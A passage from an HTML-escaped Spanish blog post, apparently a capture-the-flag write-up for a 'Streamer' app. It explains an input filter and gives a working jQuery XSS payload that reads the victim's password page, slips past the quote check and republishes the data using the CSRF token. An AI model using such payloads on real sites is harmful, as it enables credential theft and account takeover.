&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;include&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;?(&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;&quot;&#39;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;||&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; value&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;include&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;?(&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&quot;&#39;&quot;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;raise&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&quot;Value has unsafe characters&quot;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;b&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;end&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Por lo que es posible realizar un Cross-Site Scripting inyectando un código que obtenga la contraseña, y publique un mensaje extrayendo el valor del token.&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Los mensajes que se muestran a los usuarios están incluidos en un JSON:&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;pre class=&quot;prettyprint prettyprinted&quot; style=&quot;background-color: white; border: 1px solid rgb(136, 136, 136); color: #333333; font-size: 14px; line-height: 22.390625px; overflow: auto; padding: 2px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;var&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; post_data &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;[{&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&quot;time&quot;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&quot;Fri Aug 24 11:23:42 +0000 2012&quot;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&quot;title&quot;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&quot;Hello World&quot;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&quot;user&quot;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&quot;level07-password-holder&quot;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&quot;body&quot;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&quot;Welcome to Streamer, the most streamlined way of sharing\nupdates with your friends!\n\nOne great feature of Streamer is that no password resets are needed. I, for\nexample, have a very complicated password (including apostrophes, quotes, you\nname it!). But I remember it by clicking my name on the right-hand side and\nseeing what my password is.\n\nNote also that Streamer can run entirely within your corporate firewall. My\nmachine, for example, can only talk directly to the Streamer server itself!&quot;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;}];&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Por lo que el payload queda:&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;pre class=&quot;prettyprint prettyprinted&quot; style=&quot;background-color: white; border: 1px solid rgb(136, 136, 136); color: #333333; font-size: 14px; line-height: 22.390625px; overflow: auto; padding: 2px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;ajax&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;({&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; type&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;GET&#39;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; url&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;user_info&#39;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; success&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;msg&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;){&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;var&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; a &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;[name=_csrf]&#39;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;val&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;();&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;var&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; msg2&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; msg&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;replace&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;/&quot;/&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;g&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;bbbbbbbbbbbbbb&#39;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;var&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; msg3&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;msg2&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;replace&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;/&#39;/&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;g&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;eeeeeeeeeeeeeee&#39;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;ajax&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;({&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; type&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;POST&#39;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; url&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;ajax/posts&#39;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; data&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;title&#39;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;titulo&#39;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;body&#39;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; msg3&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;_csrf&#39;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; a
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; success&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;msg&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;){&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; alert&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&quot;fuck CSRF&quot;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
